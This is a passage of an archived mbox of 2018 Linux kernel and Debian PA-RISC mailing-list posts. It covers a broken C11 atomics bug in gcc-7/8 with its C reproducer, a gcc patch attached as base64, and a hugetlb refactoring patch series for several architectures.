> function __sync_val_compare_and_swap_4. That calls the kernel and takes
> the lock. There's no problem.
>
> gcc-7 and gcc-8 don't call it, they just directly write the atomic
> variable, optionally with the "sync" instructions before or after
> (depending on the memory model).
>
> Now the problem is - suppose that an atomic write races with atomic
> exchange on the same variable. Either the write wins the race (in that
> case the exchange operation should return the value that was written by
> the write) or the exchange wins the race (in that case the value that was
> written by the write should permanently stay in the variable). On parisc,
> the written value is lost, because the write doesn't take the lock.
>
>
> Initially, val == 1
>
> Thread 1 (excuting atomic_exchange_explicit(&val, 3, memory_order_relaxed))
> read the variable from userspace (reads 1)
> call __sync_val_compare_and_swap_4
> call the kernel
> take the lock
> read the variable inside the kernel (reads 1), so it is going to proceed with the write
>
> Thread 2 (executing atomic_store_explicit(&val, 2, memory_order_relaxed))
> write the variable with 2
>
> Thread 1 (continuing)
> write the variable with 3
> drop the lock
> exit the kernel
> exit __sync_val_compare_and_swap_4
>
> --- the value "2" that was written by thread 2 is lost.
>
>
> The bug can be tested with this program. When compiled with gcc-7 or
> gcc-8, it fails with "(after 4726 loops): atomics are broken, val = 3,
> xchg returned 1". With gcc-6 or gcc-5 it works.
>
> What's strange is that this bug only happens with the gcc-7 and gcc-8 from
> debian ports, when I compiled gcc 7.3.0 on my own, it properly generates
> the call to __sync_val_compare_and_swap_4. Did someone patch the gcc in
> Debian? Or is it caused by some configure parameter?
>
> Mikulas
>
>
>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <pthread.h>
> #include <stdatomic.h>
>
> static pthread_barrier_t barrier;
>
> static atomic_int val;
>
> static void *thread(void *p)
> {
> 	int r;
> 	struct random_data rnd;
> 	char rnd_buf[256];
> 	volatile int32_t w;
>
> 	rnd.state = NULL;
> 	if (initstate_r(2, rnd_buf, sizeof rnd_buf, &rnd)) perror("initstate_r"), exit(1);
>
> 	while (1) {
> 		r = pthread_barrier_wait(&barrier);
> 		if (r > 0) fprintf(stderr, "pthread_barrier_wait: %s\n", strerror(r)), exit(1);
>
> 		if (random_r(&rnd, (int32_t *)&w)) perror("random_r");
> 		w &= 0xfff;
> 		while (w--) ;
>
> 		atomic_store_explicit(&val, 2, memory_order_relaxed);
>
> 		r = pthread_barrier_wait(&barrier);
> 		if (r > 0) fprintf(stderr, "pthread_barrier_wait: %s\n", strerror(r)), exit(1);
>
> 		r = pthread_barrier_wait(&barrier);
> 		if (r > 0) fprintf(stderr, "pthread_barrier_wait: %s\n", strerror(r)), exit(1);
> 	}
> }
>
> int main(void)
> {
> 	int r, x;
> 	pthread_t t;
> 	struct random_data rnd;
> 	char rnd_buf[256];
> 	volatile int32_t w;
> 	int loops = 0;
>
> 	rnd.state = NULL;
> 	if (initstate_r(1, rnd_buf, sizeof rnd_buf, &rnd)) perror("initstate_r"), exit(1);
>
> 	r = pthread_barrier_init(&barrier, NULL, 2);
> 	if (r) fprintf(stderr, "pthread_barrier_init: %s\n", strerror(r)), exit(1);
> 	r = pthread_create(&t, NULL, thread, NULL);
> 	if (r) fprintf(stderr, "pthread_create: %s\n", strerror(r)), exit(1);
>
> 	while (1) {
> 		atomic_init(&val, 1);
> 		r = pthread_barrier_wait(&barrier);
> 		if (r > 0) fprintf(stderr, "pthread_barrier_wait: %s\n", strerror(r)), exit(1);
>
> 		if (random_r(&rnd, (int32_t *)&w)) perror("random_r");
> 		w &= 0xfff;
> 		while (w--) ;
>
> 		x = atomic_exchange_explicit(&val, 3, memory_order_relaxed);
>
> 		r = pthread_barrier_wait(&barrier);
> 		if (r > 0) fprintf(stderr, "pthread_barrier_wait: %s\n", strerror(r)), exit(1);
>
> 		if (!(
> 			(x == 2 && atomic_load_explicit(&val, memory_order_relaxed) == 3) ||
> 			(x == 1 && atomic_load_explicit(&val, memory_order_relaxed) == 2)
> 		   )) {
> 			fprintf(stderr, "(after %d loops): atomics are broken, val = %d, xchg returned %d\n", loops, atomic_load_explicit(&val, memory_order_relaxed), x);
> 			exit(1);
> 		}
>
> 		r = pthread_barrier_wait(&barrier);
> 		if (r > 0) fprintf(stderr, "pthread_barrier_wait: %s\n", strerror(r)), exit(1);
>
> 		loops++;
>
> 		if (!(loops % 1000))
> 			fprintf(stderr, "%d\r", loops);
> 	}
> }
>



From - Thu Nov 08 21:41:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: C11 atomics on parisc are broken on gcc-7 and gcc-8
Date: Tue, 18 Sep 2018 19:39:47 -0400
Lines: 69
Approved: news@gmane.org
Message-ID: <4a220748-4089-d052-4ef3-0c9fef3fc7aa@bell.net>
References: <alpine.LRH.2.02.1809181805210.29259@file01.intranet.prod.int.rdu2.redhat.com>
 <1a7f70f6-1a33-6cce-1c21-e83f3b65982a@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------8BC972EF5294C8475BC42D98"
X-Trace: blaine.gmane.org 1537313881 956 195.159.176.226 (18 Sep 2018 23:38:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 18 Sep 2018 23:38:01 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: Helge Deller <deller@gmx.de>, debian-hppa@lists.debian.org
To: Mikulas Patocka <mpatocka@redhat.com>, linux-parisc@vger.kernel.org
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Wed Sep 19 01:37:57 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1g2PZ6-00006l-R7
	for debian-hppa@m.gmane.org; Wed, 19 Sep 2018 01:37:56 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 9D2B4115; Tue, 18 Sep 2018 23:40:07 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Tue Sep 18 23:40:07 2018
Old-Return-Path: <dave.anglin@bell.net>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id B54D71A7
	for <lists-debian-hppa@bendel.debian.org>; Tue, 18 Sep 2018 23:39:58 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-4.599 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, EMPTY_BODY=3, FOURLA=0.1, LDO_WHITELIST=-5,
	RCVD_IN_DNSWL_LOW=-0.7, UNPARSEABLE_RELAY=0.001]
	autolearn=no autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id lFvdeFeTm29Y for <lists-debian-hppa@bendel.debian.org>;
	Tue, 18 Sep 2018 23:39:52 +0000 (UTC)
Original-Received: from mtlfep01.bell.net (belmont79srvr.owm.bell.net [184.150.200.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "", Issuer "Openwave Messaging Inc." (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id 042A3115
	for <debian-hppa@lists.debian.org>; Tue, 18 Sep 2018 23:39:51 +0000 (UTC)
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20180918233948.LZDJ17669.mtlfep01.bell.net@mtlspm02.bell.net>
          for <debian-hppa@lists.debian.org>;
          Tue, 18 Sep 2018 19:39:48 -0400
Original-Received: from [192.168.2.49] (really [70.53.62.196]) by mtlspm02.bell.net
          with ESMTP
          id <20180918233948.TCVP6415.mtlspm02.bell.net@[192.168.2.49]>;
          Tue, 18 Sep 2018 19:39:48 -0400
In-Reply-To: <1a7f70f6-1a33-6cce-1c21-e83f3b65982a@bell.net>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=IaFoYSia c=1 sm=0 tr=0 a=Zvhif4XNTjWcJyJCfFIh1A==:17 a=JBFolyDoGHsA:10 a=r77TgQKjGQsHNAKrUKIA:9 a=FBHGMhGWAAAA:8 a=3lpS2Zzm2_y3NGp0_lAA:9 a=QEXdDO2ut3YA:10 a=b1jBdbJwXmUpwgz3fMEA:9 a=ichUEFZdvV4A:10 a=9gvnlMMaQFpL9xblJ6ne:22
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <Gm2BGz1OzcP.A.RLB.XzYobB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8753
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/4a220748-4089-d052-4ef3-0c9fef3fc7aa@bell.net
Resent-Date: Tue, 18 Sep 2018 23:40:07 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7769 gmane.linux.ports.parisc:28975
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7769>

This is a multi-part message in MIME format.
--------------8BC972EF5294C8475BC42D98
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit

On 2018-09-18 7:13 PM, John David Anglin wrote:
> You are correct.  The problem is my fault.  I changed gcc when it was 
> realized that PA 2.0
> executes loads and stores out of order.  I need to add back some code 
> that was there before.
Testing the attached change.

Dave

-- 
John David Anglin  dave.anglin@bell.net


--------------8BC972EF5294C8475BC42D98
Content-Type: text/plain; charset=UTF-8;
 name="atomic-rvt.d"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="atomic-rvt.d"

SW5kZXg6IGNvbmZpZy9wYS9wYS5tZAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBjb25maWcvcGEvcGEu
bWQJKHJldmlzaW9uIDI2NDQxMykKKysrIGNvbmZpZy9wYS9wYS5tZAkod29ya2luZyBjb3B5
KQpAQCAtOTk2MCw2ICs5OTYwLDU4IEBACiAKIDs7IEltcGxlbWVudCBhdG9taWMgREltb2Rl
IGxvYWQgdXNpbmcgNjQtYml0IGZsb2F0aW5nIHBvaW50IGxvYWQuCiAKKyhkZWZpbmVfZXhw
YW5kICJhdG9taWNfc3RvcmVxaSIKKyAgWyhtYXRjaF9vcGVyYW5kOlFJIDAgIm1lbW9yeV9v
cGVyYW5kIikgICAgICAgICAgICAgICAgOzsgbWVtb3J5CisgICAobWF0Y2hfb3BlcmFuZDpR
SSAxICJyZWdpc3Rlcl9vcGVyYW5kIikgICAgICAgICAgICAgIDs7IHZhbCBvdXQKKyAgICht
YXRjaF9vcGVyYW5kOlNJIDIgImNvbnN0X2ludF9vcGVyYW5kIildICAgICAgICAgICAgOzsg
bW9kZWwKKyAgIiIKK3sKKyAgaWYgKFRBUkdFVF9TWU5DX0xJQkNBTEwpCisgICAgeworICAg
ICAgcnR4IG1lbSA9IG9wZXJhbmRzWzBdOworICAgICAgcnR4IHZhbCA9IG9wZXJhbmRzWzFd
OworICAgICAgaWYgKHBhX21heWJlX2VtaXRfY29tcGFyZV9hbmRfc3dhcF9leGNoYW5nZV9s
b29wIChOVUxMX1JUWCwgbWVtLCB2YWwpKQorCURPTkU7CisgICAgfQorICBGQUlMOworfSkK
KworOzsgSW1wbGVtZW50IGF0b21pYyBISW1vZGUgc3RvcmVzIHVzaW5nIGV4Y2hhbmdlLgor
CisoZGVmaW5lX2V4cGFuZCAiYXRvbWljX3N0b3JlaGkiCisgIFsobWF0Y2hfb3BlcmFuZDpI
SSAwICJtZW1vcnlfb3BlcmFuZCIpICAgICAgICAgICAgICAgIDs7IG1lbW9yeQorICAgKG1h
dGNoX29wZXJhbmQ6SEkgMSAicmVnaXN0ZXJfb3BlcmFuZCIpICAgICAgICAgICAgICA7OyB2
YWwgb3V0CisgICAobWF0Y2hfb3BlcmFuZDpTSSAyICJjb25zdF9pbnRfb3BlcmFuZCIpXSAg
ICAgICAgICAgIDs7IG1vZGVsCisgICIiCit7CisgIGlmIChUQVJHRVRfU1lOQ19MSUJDQUxM
KQorICAgIHsKKyAgICAgIHJ0eCBtZW0gPSBvcGVyYW5kc1swXTsKKyAgICAgIHJ0eCB2YWwg
PSBvcGVyYW5kc1sxXTsKKyAgICAgIGlmIChwYV9tYXliZV9lbWl0X2NvbXBhcmVfYW5kX3N3
YXBfZXhjaGFuZ2VfbG9vcCAoTlVMTF9SVFgsIG1lbSwgdmFsKSkKKwlET05FOworICAgIH0K
KyAgRkFJTDsKK30pCisKKzs7IEltcGxlbWVudCBhdG9taWMgU0ltb2RlIHN0b3JlIHVzaW5n
IGV4Y2hhbmdlLgorCisoZGVmaW5lX2V4cGFuZCAiYXRvbWljX3N0b3Jlc2kiCisgIFsobWF0
Y2hfb3BlcmFuZDpTSSAwICJtZW1vcnlfb3BlcmFuZCIpICAgICAgICAgICAgICAgIDs7IG1l
bW9yeQorICAgKG1hdGNoX29wZXJhbmQ6U0kgMSAicmVnaXN0ZXJfb3BlcmFuZCIpICAgICAg
ICAgICAgICA7OyB2YWwgb3V0CisgICAobWF0Y2hfb3BlcmFuZDpTSSAyICJjb25zdF9pbnRf
b3BlcmFuZCIpXSAgICAgICAgICAgIDs7IG1vZGVsCisgICIiCit7CisgIGlmIChUQVJHRVRf
U1lOQ19MSUJDQUxMKQorICAgIHsKKyAgICAgIHJ0eCBtZW0gPSBvcGVyYW5kc1swXTsKKyAg
ICAgIHJ0eCB2YWwgPSBvcGVyYW5kc1sxXTsKKyAgICAgIGlmIChwYV9tYXliZV9lbWl0X2Nv
bXBhcmVfYW5kX3N3YXBfZXhjaGFuZ2VfbG9vcCAoTlVMTF9SVFgsIG1lbSwgdmFsKSkKKwlE
T05FOworICAgIH0KKyAgRkFJTDsKK30pCisKIChkZWZpbmVfZXhwYW5kICJhdG9taWNfbG9h
ZGRpIgogICBbKG1hdGNoX29wZXJhbmQ6REkgMCAicmVnaXN0ZXJfb3BlcmFuZCIpICAgICAg
ICAgICAgICA7OyB2YWwgb3V0CiAgICAobWF0Y2hfb3BlcmFuZDpESSAxICJtZW1vcnlfb3Bl
cmFuZCIpICAgICAgICAgICAgICAgIDs7IG1lbW9yeQpAQCAtOTk5OSw2ICsxMDA1MSwxNCBA
QAogewogICBlbnVtIG1lbW1vZGVsIG1vZGVsOwogCisgIGlmIChUQVJHRVRfU1lOQ19MSUJD
QUxMKQorICAgIHsKKyAgICAgIHJ0eCBtZW0gPSBvcGVyYW5kc1swXTsKKyAgICAgIHJ0eCB2
YWwgPSBvcGVyYW5kc1sxXTsKKyAgICAgIGlmIChwYV9tYXliZV9lbWl0X2NvbXBhcmVfYW5k
X3N3YXBfZXhjaGFuZ2VfbG9vcCAoTlVMTF9SVFgsIG1lbSwgdmFsKSkKKwlET05FOworICAg
IH0KKwogICBpZiAoVEFSR0VUXzY0QklUIHx8IFRBUkdFVF9ESVNBQkxFX0ZQUkVHUyB8fCBU
QVJHRVRfU09GVF9GTE9BVCkKICAgICBGQUlMOwogCg==
--------------8BC972EF5294C8475BC42D98--



From - Thu Nov 08 21:41:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v7 00/11] hugetlb: Factorize hugetlb architecture primitives
Date: Thu, 20 Sep 2018 06:03:47 +0000
Lines: 79
Approved: news@gmane.org
Message-ID: <20180920060358.16606-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1537423336 2727 195.159.176.226 (20 Sep 2018 06:02:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 20 Sep 2018 06:02:16 +0000 (UTC)
Cc: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org, Alexandre Ghiti <alex@ghiti.fr>
To: akpm@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 20 08:02:09 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g2s2N-00052F-D3
	for glk-linux-kernel-4@m.gmane.org; Thu, 20 Sep 2018 08:02:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731624AbeITLpy (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 20 Sep 2018 07:45:54 -0400
Original-Received: from relay1-d.mail.gandi.net ([217.70.183.193]:45057 "EHLO
        relay1-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1731240AbeITLpy (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 20 Sep 2018 07:45:54 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay1-d.mail.gandi.net (Postfix) with ESMTPSA id 67E5F24000D;
        Thu, 20 Sep 2018 06:04:01 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2876054 gmane.linux.kernel.mm:203575 gmane.linux.ports.arm.kernel:675040 gmane.linux.ports.ia64:29249 gmane.linux.ports.mips.general:66735 gmane.linux.ports.parisc:28976 gmane.linux.ports.ppc64.devel:162754 gmane.linux.ports.sh.devel:57524 gmane.linux.ports.sparc:28446 gmane.linux.kernel.cross-arch:46620
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2876054>

Hi Andrew,

As suggested by people who reviewed/acked this series, please consider
including this series into -mm tree.

In order to reduce copy/paste of functions across architectures and then         
make riscv hugetlb port (and future ports) simpler and smaller, this             
patchset intends to factorize the numerous hugetlb primitives that are           
defined across all the architectures.                                            
                                                                                 
Except for prepare_hugepage_range, this patchset moves the versions that         
are just pass-through to standard pte primitives into                            
asm-generic/hugetlb.h by using the same #ifdef semantic that can be              
found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.                            
                                                                                 
s390 architecture has not been tackled in this serie since it does not           
use asm-generic/hugetlb.h at all.                                                
                                                                                 
This patchset has been compiled on all addressed architectures with              
success (except for parisc, but the problem does not come from this              
series).                 

v7:
  Add Ingo Molnar Acked-By for x86.

v6:                                                                              
  - Remove nohash/32 and book3s/32 powerpc specific implementations in
    order to use the generic ones.                                                        
  - Add all the Reviewed-by, Acked-by and Tested-by in the commits,              
    thanks to everyone.                                                          
                                                                                 
v5:                                                                              
  As suggested by Mike Kravetz, no need to move the #include                     
  <asm-generic/hugetlb.h> for arm and x86 architectures, let it live at          
  the top of the file.                                                           
                                                                                 
v4:                                                                              
  Fix powerpc build error due to misplacing of #include                          
  <asm-generic/hugetlb.h> outside of #ifdef CONFIG_HUGETLB_PAGE, as              
  pointed by Christophe Leroy.                                                   
                                                                                 
v1, v2, v3:                                                                      
  Same version, just problems with email provider and misuse of                  
  --batch-size option of git send-email

Alexandre Ghiti (11):
  hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
  hugetlb: Introduce generic version of hugetlb_free_pgd_range
  hugetlb: Introduce generic version of set_huge_pte_at
  hugetlb: Introduce generic version of huge_ptep_get_and_clear
  hugetlb: Introduce generic version of huge_ptep_clear_flush
  hugetlb: Introduce generic version of huge_pte_none
  hugetlb: Introduce generic version of huge_pte_wrprotect
  hugetlb: Introduce generic version of prepare_hugepage_range
  hugetlb: Introduce generic version of huge_ptep_set_wrprotect
  hugetlb: Introduce generic version of huge_ptep_set_access_flags
  hugetlb: Introduce generic version of huge_ptep_get

 arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
 arch/arm/include/asm/hugetlb.h               | 30 ----------
 arch/arm64/include/asm/hugetlb.h             | 39 +++---------
 arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
 arch/mips/include/asm/hugetlb.h              | 40 +++----------
 arch/parisc/include/asm/hugetlb.h            | 33 +++--------
 arch/powerpc/include/asm/book3s/32/pgtable.h |  6 --
 arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
 arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
 arch/powerpc/include/asm/nohash/32/pgtable.h |  6 --
 arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
 arch/sh/include/asm/hugetlb.h                | 54 ++---------------
 arch/sparc/include/asm/hugetlb.h             | 40 +++----------
 arch/x86/include/asm/hugetlb.h               | 69 ----------------------
 include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
 15 files changed, 135 insertions(+), 394 deletions(-)

-- 
2.16.2



From - Thu Nov 08 21:41:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v7 01/11] hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
Date: Thu, 20 Sep 2018 06:03:48 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <20180920060358.16606-2-alex@ghiti.fr>
References: <20180920060358.16606-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1537423400 8087 195.159.176.226 (20 Sep 2018 06:03:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 20 Sep 2018 06:03:20 +0000 (UTC)
Cc: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org, Alexandre Ghiti <alex@ghiti.fr>
To: akpm@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 20 08:03:13 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g2s3V-0001wC-30
	for glk-linux-kernel-4@m.gmane.org; Thu, 20 Sep 2018 08:03:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731713AbeITLrE (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 20 Sep 2018 07:47:04 -0400
Original-Received: from relay2-d.mail.gandi.net ([217.70.183.194]:50325 "EHLO
        relay2-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1731240AbeITLrE (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 20 Sep 2018 07:47:04 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay2-d.mail.gandi.net (Postfix) with ESMTPSA id E499440009;
        Thu, 20 Sep 2018 06:05:09 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180920060358.16606-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2876055 gmane.linux.kernel.mm:203576 gmane.linux.ports.arm.kernel:675041 gmane.linux.ports.ia64:29250 gmane.linux.ports.mips.general:66736 gmane.linux.ports.parisc:28977 gmane.linux.ports.ppc64.devel:162755 gmane.linux.ports.sh.devel:57525 gmane.linux.ports.sparc:28447 gmane.linux.kernel.cross-arch:46621
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2876055>

asm-generic/hugetlb.h proposes generic implementations of hugetlb
related functions: use __HAVE_ARCH_HUGE* defines in order to make arch
specific implementations of hugetlb functions consistent with pgtable.h
scheme.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm64/include/asm/hugetlb.h | 2 +-
 include/asm-generic/hugetlb.h    | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index e73f68569624..3fcf14663dfa 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -81,9 +81,9 @@ extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
 extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
 				  unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTE_CLEAR
 extern void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 			   pte_t *ptep, unsigned long sz);
-#define huge_pte_clear huge_pte_clear
 extern void set_huge_swap_pte_at(struct mm_struct *mm, unsigned long addr,
 				 pte_t *ptep, pte_t pte, unsigned long sz);
 #define set_huge_swap_pte_at set_huge_swap_pte_at
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 9d0cde8ab716..3da7cff52360 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -32,7 +32,7 @@ static inline pte_t huge_pte_modify(pte_t pte, pgprot_t newprot)
 	return pte_modify(pte, newprot);
 }
 
-#ifndef huge_pte_clear
+#ifndef __HAVE_ARCH_HUGE_PTE_CLEAR
 static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 		    pte_t *ptep, unsigned long sz)
 {
-- 
2.16.2



From - Thu Nov 08 21:41:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
